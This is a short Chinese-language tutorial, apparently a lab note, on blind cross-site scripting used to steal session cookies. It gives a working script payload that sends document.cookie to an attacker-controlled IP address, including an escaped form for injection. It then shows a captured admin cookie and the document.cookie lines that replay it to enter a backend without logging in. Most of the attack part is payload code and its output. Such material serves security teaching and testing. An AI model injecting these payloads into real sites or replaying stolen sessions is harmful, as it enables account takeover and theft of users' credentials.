固定会话攻击实例/XSS盲打
攻击代码
原始代码
<script>document.write('<img src="http://10.9.47.120/'+document.cookie+'">');</script>
引号和分号需要进行转义
<script>document.write(\'<img src=\"http://10.9.47.120/\'+document.cookie+\'\">\')\;</script>
攻击原理
-
当受害者浏览器加载包含这段代码的页面时,JavaScript 代码会执行。
-
JavaScript 会动态地创建一个
<img>
标签,并将其添加到页面中。 -
<img>
标签的src
属性指向了http://10.9.47.120/
,后面紧跟着用户的 cookie 信息document.cookie
。 -
浏览器会尝试加载这个图像,实际上是向
http://10.9.47.120/
发送了一个 GET 请求,其中包含了用户的 cookie 信息。 -
http://10.9.47.120/
服务器,会记录或利用这些 cookie 信息
攻击实施
攻击者上传 XSS 代码,并开启 http server 服务监听
受害者访问包含 XSS 代码的页面
攻击者监听到包含受害者 Cookie 的请求
username=admin;%20userid=1;%20PHPSESSID=o81a755q490343a4cf6bgbjb91
伪造登录
document.cookie = 'username=admin';
document.cookie = 'userid=1';
document.cookie = 'HPSESSID=o81a755q490343a4cf6bgbjb91';
cookie 中有了伪造的信息,此时访问后台,无需验证即可登录